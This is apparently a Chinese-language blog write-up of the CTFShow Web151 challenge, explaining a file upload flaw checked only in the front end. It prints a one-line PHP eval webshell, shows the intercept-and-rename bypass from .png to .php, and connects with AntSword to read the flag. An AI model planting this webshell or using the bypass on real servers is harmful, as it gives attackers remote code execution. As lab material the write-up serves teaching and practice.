CTFShow-Web151:文件上传漏洞

CTFShow-Web151:文件上传漏洞

🛠️ Web151 题解

本题考察 文件上传漏洞,仅在前端进行了文件类型验证,允许上传 .png 图片文件。我们可以通过抓包修改文件后缀的方式绕过限制并获取 WebShell。

🔍 源码分析

在 upload.php 代码中,我们发现了以下 HTML 代码片段:

<button type="button" class="layui-btn" id="upload" lay-data="{url: 'upload.php', accept: 'images',exts:'png'}">

​ • 该代码仅在 前端 限制上传文件的类型(accept: 'images',exts: 'png')。

​ • 后端未进行严格校验,这意味着我们可以通过抓包修改文件后缀,绕过前端限制。

📝 WriteUp(解题步骤)

1️⃣ 制作带有 WebShell 的 PNG 文件

我们需要构造一个 包含一句话木马的 PNG 文件,其内容如下:

<?php @eval($_POST['pass']); ?>

⚠️ 注意:该文件需要保留 PNG 格式的头部数据,以免被检测到格式异常。

2️⃣ 上传文件并抓包

上传 a.png 文件,并使用 Burp Suite 进行抓包:

image-20250129210243090

3️⃣ 修改文件后缀并上传 WebShell

将 a.png 修改为 a.php,然后重新发送请求,使其上传到服务器。

image-20250129210351750

4️⃣ 连接 WebShell(蚁剑)

使用 AntSword(蚁剑) 连接 WebShell,填入一句话木马<?php @eval($_POST['pass']); ?>中的pass作为连接密码:

image-20250129210522281

5️⃣ 获取 Flag

连接成功后,在 www/html/flag.php 目录下找到 Flag 🎉

✅ 总结

📌 漏洞点分析

​ • 仅在 前端 限制上传 .png 文件,后端未校验文件类型

​ • 通过抓包修改文件后缀 .png → .php,可成功上传 WebShell。

​ • 服务器允许执行上传目录下的 .php 文件,导致 远程代码执行(RCE)

posted @ 2025-02-06 16:51  Zebra233  阅读(141)  评论(0)    收藏  举报